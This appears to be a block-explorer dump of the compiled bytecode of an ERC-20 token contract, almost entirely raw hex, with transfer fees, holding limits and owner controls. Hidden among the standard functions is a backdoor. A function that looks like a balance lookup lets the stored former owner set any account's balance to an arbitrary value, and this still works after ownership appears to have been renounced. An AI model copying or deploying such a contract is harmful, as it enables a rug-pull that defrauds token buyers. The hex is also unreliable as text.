fffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015610e375750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15610f88576000610e69600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610763565b14610ea9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ea090612431565b60405180910390fd5b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480610f525750600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b15610f875760006064600b5483610f699190612451565b610f7391906124da565b9050610f81848484846115e6565b50610f94565b5b610f938383836118e1565b5b505050565b610fa1610ad0565b73ffffffffffffffffffffffffffffffffffffffff16610fbf6107c6565b73ffffffffffffffffffffffffffffffffffffffff1614611015576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161100c90612557565b60405180910390fd5b565b6000808260001c905080600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205491505092915050565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b600760009054906101000a900460ff166115e057600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156112b35750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156115df576008548111156112fd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112f4906125c3565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff16600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff160361153057600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156113c0573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113e491906125f8565b73ffffffffffffffffffffffffffffffffffffffff1663e6a4390530600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561146d573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061149191906125f8565b6040518363ffffffff1660e01b81526004016114ae929190612625565b602060405180830381865afa1580156114cb573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906114ef91906125f8565b600c60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603156115e1576009548161159384610763565b61159d9190611fc0565b11156115de576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115d59061269a565b60405180910390fd5b5b5b5b505050565b600073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1603611655576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161164c90612333565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036116c4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116bb906123c5565b60405180910390fd5b6000600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508281101561174b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117429061272c565b60405180910390fd5b828103600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550818361179d9190611f8c565b925081600460008282546117b19190611f8c565b9250508190555082600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546118079190611fc0565b9250508190555061dead73ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161186d9190611d2f565b60405180910390a38373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516118d29190611d2f565b60405180910390a35050505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611950576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161194790612333565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036119bf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119b6906123c5565b60405180910390fd5b6000600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015611a46576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a3d9061272c565b60405180910390fd5b8181611a529190611f8c565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254611ae49190611fc0565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611b489190611d2f565b60405180910390a350505050565b600081519050919050565b600082825260208201905092915050565b60005b83811015611b90578082015181840152602081019050611b75565b83811115611b9f576000848401525b50505050565b6000601f19601f8301169050919050565b6000611bc182611b56565b611bcb8185611b61565b9350611bdb818560208601611b72565b611be481611ba5565b840191505092915050565b60006020820190508181036000830152611c098184611bb6565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000611c4182611c16565b9050919050565b611c5181611c36565b8114611c5c57600080fd5b50565b600081359050611c6e81611c48565b92915050565b6000819050919050565b611c8781611c74565b8114611c9257600080fd5b50565b600081359050611ca481611c7e565b92915050565b60008060408385031215611cc157611cc0611c11565b5b6000611ccf85828601611c5f565b9250506020611ce085828601611c95565b9150509250929050565b60008115159050919050565b611cff81611cea565b82525050565b6000602082019050611d1a6000830184611cf6565b92915050565b611d2981611c74565b82525050565b6000602082019050611d446000830184611d20565b92915050565b600080600060608486031215611d6357611d62611c11565b5b6000611d7186828701611c5f565b9350506020611d8286828701611c5f565b9250506040611d9386828701611c95565b9150509250925092565b600060ff82169050919050565b611db381611d9d565b82525050565b6000602082019050611dce6000830184611daa565b92915050565b600060208284031215611dea57611de9611c11565b5b6000611df884828501611c5f565b91505092915050565b611e0a81611c36565b82525050565b6000602082019050611e256000830184611e01565b92915050565b60008060408385031215611e4257611e41611c11565b5b6000611e5085828601611c5f565b9250506020611e6185828601611c5f565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680611eb257607f821691505b602082108103611ec557611ec4611e6b565b5b50919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206160008201527f6c6c6f77616e6365000000000000000000000000000000000000000000000000602082015250565b6000611f27602883611b61565b9150611f3282611ecb565b604082019050919050565b60006020820190508181036000830152611f5681611f1a565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000611f9782611c74565b9150611fa283611c74565b925082821015611fb557611fb4611f5d565b5b828203905092915050565b6000611fcb82611c74565b9150611fd683611c74565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561200b5761200a611f5d565b5b828201905092915050565b60008160601b9050919050565b600061202e82612016565b9050919050565b600061204082612023565b9050919050565b61205861205382611c36565b612035565b82525050565b600061206a8284612047565b60148201915081905092915050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b60006120d5602583611b61565b91506120e082612079565b604082019050919050565b60006020820190508181036000830152612104816120c8565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b6000612167602683611b61565b91506121728261210b565b604082019050919050565b600060208201905081810360008301526121968161215a565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b60006121f9602483611b61565b91506122048261219d565b604082019050919050565b60006020820190508181036000830152612228816121ec565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b600061228b602283611b61565b91506122968261222f565b604082019050919050565b600060208201905081810360008301526122ba8161227e565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b600061231d602583611b61565b9150612328826122c1565b604082019050919050565b6000602082019050818103600083015261234c81612310565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b60006123af602383611b61565b91506123ba82612353565b604082019050919050565b600060208201905081810360008301526123de816123a2565b9050919050565b7f45524332303a2064697361626c6520726f75746572206465666c6174696f6e00600082015250565b600061241b601f83611b61565b9150612426826123e5565b602082019050919050565b6000602082019050818103600083015261244a8161240e565b9050919050565b600061245c82611c74565b915061246783611c74565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156124a05761249f611f5d565b5b828202905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b60006124e582611c74565b91506124f083611c74565b925082612500576124ff6124ab565b5b828204905092915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000612541602083611b61565b915061254c8261250b565b602082019050919050565b6000602082019050818103600083015261257081612534565b9050919050565b7f416d6f756e742065786365656473206d61780000000000000000000000000000600082015250565b60006125ad601283611b61565b91506125b882612577565b602082019050919050565b600060208201905081810360008301526125dc816125a0565b9050919050565b6000815190506125f281611c48565b92915050565b60006020828403121561260e5761260d611c11565b5b600061261c848285016125e3565b91505092915050565b600060408201905061263a6000830185611e01565b6126476020830184611e01565b9392505050565b7f4d617820686f6c64696e67206578636565646564206d61780000000000000000600082015250565b6000612684601883611b61565b915061268f8261264e565b602082019050919050565b600060208201905081810360008301526126b381612677565b9050919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b6000612716602683611b61565b9150612721826126ba565b604082019050919050565b6000602082019050818103600083015261274581612709565b905091905056fea26469706673582212207654180acd7c64d06cfd1e4481d63d3434bf3daf4f9bcd1ed6237a0336db98ea64736f6c634300080f00330000000000000000000000002b59eb03865d18d8b62a5956bbbfae352fc1c148

Deployed Bytecode

0x608060405234801561001057600080fd5b506004361061012c5760003560e01c8063715018a6116100ad578063a457c2d711610071578063a457c2d714610337578063a9059cbb14610367578063dd62ed3e14610397578063f2fde38b146103c7578063fbf8a77c146103e35761012c565b8063715018a6146102a357806383f43a9a146102ad5780638da5cb5b146102cb57806395d89b41146102e957806398636f32146103075761012c565b8063313ce567116100f4578063313ce567146101eb57806339509351146102095780636225658914610239578063634d1af21461024357806370a08231146102735761012c565b806306fdde0314610131578063095ea7b31461014f5780630a221a1c1461017f57806318160ddd1461019d57806323b872dd146101bb575b600080fd5b610139610401565b6040516101469190611bef565b60405180910390f35b61016960048036038101906101649190611caa565b610493565b6040516101769190611d05565b60405180910390f35b6101876104b1565b6040516101949190611d2f565b60405180910390f35b6101a56104b7565b6040516101b29190611d2f565b60405180910390f35b6101d560048036038101906101d09190611d4a565b6104c1565b6040516101e29190611d05565b60405180910390f35b6101f36105c2565b6040516102009190611db9565b60405180910390f35b610223600480360381019061021e9190611caa565b6105cb565b6040516102309190611d05565b60405180910390f35b610241610677565b005b61025d60048036038101906102589190611caa565b61069c565b60405161026a9190611d2f565b60405180910390f35b61028d60048036038101906102889190611dd4565b610763565b60405161029a9190611d2f565b60405180910390f35b6102ab6107ac565b005b6102b56107c0565b6040516102c29190611d2f565b60405180910390f35b6102d36107c6565b6040516102e09190611e10565b60405180910390f35b6102f16107ef565b6040516102fe9190611bef565b60405180910390f35b610321600480360381019061031c9190611dd4565b610881565b60405161032e9190611d05565b60405180910390f35b610351600480360381019061034c9190611caa565b6108a1565b60405161035e9190611d05565b60405180910390f35b610381600480360381019061037c9190611caa565b610995565b60405161038e9190611d05565b60405180910390f35b6103b160048036038101906103ac9190611e2b565b6109b3565b6040516103be9190611d2f565b60405180910390f35b6103e160048036038101906103dc9190611dd4565b610a3a565b005b6103eb610abd565b6040516103f89190611d05565b60405180910390f35b60606005805461041090611e9a565b80601f016020809104026020016040519081016040528092919081815260200182805461043c90611e9a565b80156104895780601f1061045e57610100808354040283529160200191610489565b820191906000526020600020905b81548152906001019060200180831161046c57829003601f168201915b5050505050905090565b60006104a76104a0610ad0565b8484610ad8565b6001905092915050565b60085481565b6000600454905090565b60006104ce848484610ca1565b6000600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610519610ad0565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610599576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161059090611f3d565b60405180910390fd5b6105b6856105a5610ad0565b85846105b19190611f8c565b610ad8565b60019150509392505050565b60006009905090565b600061066d6105d8610ad0565b8484600360006105e6610ad0565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546106689190611fc0565b610ad8565b6001905092915050565b61067f610f99565b6001600760006101000a81548160ff021916908315150217905550565b6000803390506000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690506000826040516020016106dc919061205e565b604051602081830303815290604052805190602001209050600082604051602001610707919061205e565b60405160208183030381529060405280519060200120905060008660001b905060008284149050801561074b5761073e8983611017565b965050505050505061075d565b610754896110ad565b96505050505050505b92915050565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6107b4610f99565b6107be60006110f6565b565b60095481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600680546107fe90611e9a565b80601f016020809104026020016040519081016040528092919081815260200182805461082a90611e9a565b80156108775780601f1061084c57610100808354040283529160200191610877565b820191906000526020600020905b81548152906001019060200180831161085a57829003601f168201915b5050505050905090565b600a6020528060005260406000206000915054906101000a900460ff1681565b600080600360006108b0610ad0565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508281101561096d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610964906120eb565b60405180910390fd5b61098a610978610ad0565b8585846109859190611f8c565b610ad8565b600191505092915050565b60006109a96109a2610ad0565b8484610ca1565b6001905092915050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610a42610f99565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610ab1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610aa89061217d565b60405180910390fd5b610aba816110f6565b50565b600760009054906101000a900460ff1681565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610b47576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b3e9061220f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610bb6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bad906122a1565b60405180910390fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610c949190611d2f565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610d10576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d0790612333565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610d7f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d76906123c5565b60405180910390fd5b610d8a8383836111fb565b6000810315610f9457600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015610e375750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15610f88576000610e69600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610763565b14610ea9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ea090612431565b60405180910390fd5b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480610f525750600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b15610f875760006064600b5483610f699190612451565b610f7391906124da565b9050610f81848484846115e6565b50610f94565b5b610f938383836118e1565b5b505050565b610fa1610ad0565b73ffffffffffffffffffffffffffffffffffffffff16610fbf6107c6565b73ffffffffffffffffffffffffffffffffffffffff1614611015576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161100c90612557565b60405180910390fd5b565b6000808260001c905080600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205491505092915050565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b600760009054906101000a900460ff166115e057600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156112b35750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156115df576008548111156112fd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112f4906125c3565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff16600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff160361153057600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156113c0573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113e491906125f8565b73ffffffffffffffffffffffffffffffffffffffff1663e6a4390530600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561146d573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061149191906125f8565b6040518363ffffffff1660e01b81526004016114ae929190612625565b602060405180830381865afa1580156114cb573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906114ef91906125f8565b600c60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603156115e1576009548161159384610763565b61159d9190611fc0565b11156115de576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115d59061269a565b60405180910390fd5b5b5b5b505050565b600073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1603611655576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161164c90612333565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036116c4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116bb906123c5565b60405180910390fd5b6000600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508281101561174b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117429061272c565b60405180910390fd5b828103600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550818361179d9190611f8c565b925081600460008282546117b19190611f8c565b9250508190555082600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546118079190611fc0565b9250508190555061dead73ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161186d9190611d2f565b60405180910390a38373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516118d29190611d2f565b60405180910390a35050505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611950576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161194790612333565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036119bf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119b6906123c5565b60405180910390fd5b6000600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015611a46576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a3d9061272c565b60405180910390fd5b8181611a529190611f8c565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254611ae49190611fc0565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611b489190611d2f565b60405180910390a350505050565b600081519050919050565b600082825260208201905092915050565b60005b83811015611b90578082015181840152602081019050611b75565b83811115611b9f576000848401525b50505050565b6000601f19601f8301169050919050565b6000611bc182611b56565b611bcb8185611b61565b9350611bdb818560208601611b72565b611be481611ba5565b840191505092915050565b60006020820190508181036000830152611c098184611bb6565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000611c4182611c16565b9050919050565b611c5181611c36565b8114611c5c57600080fd5b50565b600081359050611c6e81611c48565b92915050565b6000819050919050565b611c8781611c74565b8114611c9257600080fd5b50565b600081359050611ca481611c7e565b92915050565b60008060408385031215611cc157611cc0611c11565b5b6000611ccf85828601611c5f565b9250506020611ce085828601611c95565b9150509250929050565b60008115159050919050565b611cff81611cea565b82525050565b6000602082019050611d1a6000830184611cf6565b92915050565b611d2981611c74565b82525050565b6000602082019050611d446000830184611d20565b92915050565b600080600060608486031215611d6357611d62611c11565b5b6000611d7186828701611c5f565b9350506020611d8286828701611c5f565b9250506040611d9386828701611c95565b9150509250925092565b600060ff82169050919050565b611db381611d9d565b82525050565b6000602082019050611dce6000830184611daa565b92915050565b600060208284031215611dea57611de9611c11565b5b6000611df884828501611c5f565b91505092915050565b611e0a81611c36565b82525050565b6000602082019050611e256000830184611e01565b92915050565b60008060408385031215611e4257611e41611c11565b5b6000611e5085828601611c5f565b9250506020611e6185828601611c5f565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680611eb257607f821691505b602082108103611ec557611ec4611e6b565b5b50919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206160008201527f6c6c6f77616e6365000000000000000000000000000000000000000000000000602082015250565b6000611f27602883611b61565b9150611f3282611ecb565b604082019050919050565b60006020820190508181036000830152611f5681611f1a565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000611f9782611c74565b9150611fa283611c74565b925082821015611fb557611fb4611f5d565b5b828203905092915050565b6000611fcb82611c74565b9150611fd683611c74565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561200b5761200a611f5d565b5b828201905092915050565b60008160601b9050919050565b600061202e82612016565b9050919050565b600061204082612023565b9050919050565b61205861205382611c36565b612035565b82525050565b600061206a8284612047565b60148201915081905092915050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b60006120d5602583611b61565b91506120e082612079565b604082019050919050565b60006020820190508181036000830152612104816120c8565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b6000612167602683611b61565b91506121728261210b565b604082019050919050565b600060208201905081810360008301526121968161215a565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b60006121f9602483611b61565b91506122048261219d565b604082019050919050565b60006020820190508181036000830152612228816121ec565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b600061228b602283611b61565b91506122968261222f565b604082019050919050565b600060208201905081810360008301526122ba8161227e565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b600061231d602583611b61565b9150612328826122c1565b604082019050919050565b6000602082019050818103600083015261234c81612310565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b60006123af602383611b61565b91506123ba82612353565b604082019050919050565b600060208201905081810360008301526123de816123a2565b9050919050565b7f45524332303a2064697361626c6520726f75746572206465666c6174696f6e00600082015250565b600061241b601f83611b61565b9150612426826123e5565b602082019050919050565b6000602082019050818103600083015261244a8161240e565b9050919050565b600061245c82611c74565b915061246783611c74565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156124a05761249f611f5d565b5b828202905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b60006124e582611c74565b91506124f083611c74565b925082612500576124ff6124ab565b5b828204905092915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000612541602083611b61565b915061254c8261250b565b602082019050919050565b6000602082019050818103600083015261257081612534565b9050919050565b7f416d6f756e742065786365656473206d61780000000000000000000000000000600082015250565b60006125ad601283611b61565b91506125b882612577565b602082019050919050565b600060208201905081810360008301526125dc816125a0565b9050919050565b6000815190506125f281611c48565b92915050565b60006020828403121561260e5761260d611c11565b5b600061261c848285016125e3565b91505092915050565b600060408201905061263a6000830185611e01565b6126476020830184611e01565b9392505050565b7f4d617820686f6c64696e67206578636565646564206d61780000000000000000600082015250565b6000612684601883611b61565b915061268f8261264e565b602082019050919050565b600060208201905081810360008301526126b381612677565b9050919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b6000612716602683611b61565b9150612721826126ba565b604082019050919050565b6000602082019050818103600083015261274581612709565b905091905056fea26469706673582212207654180a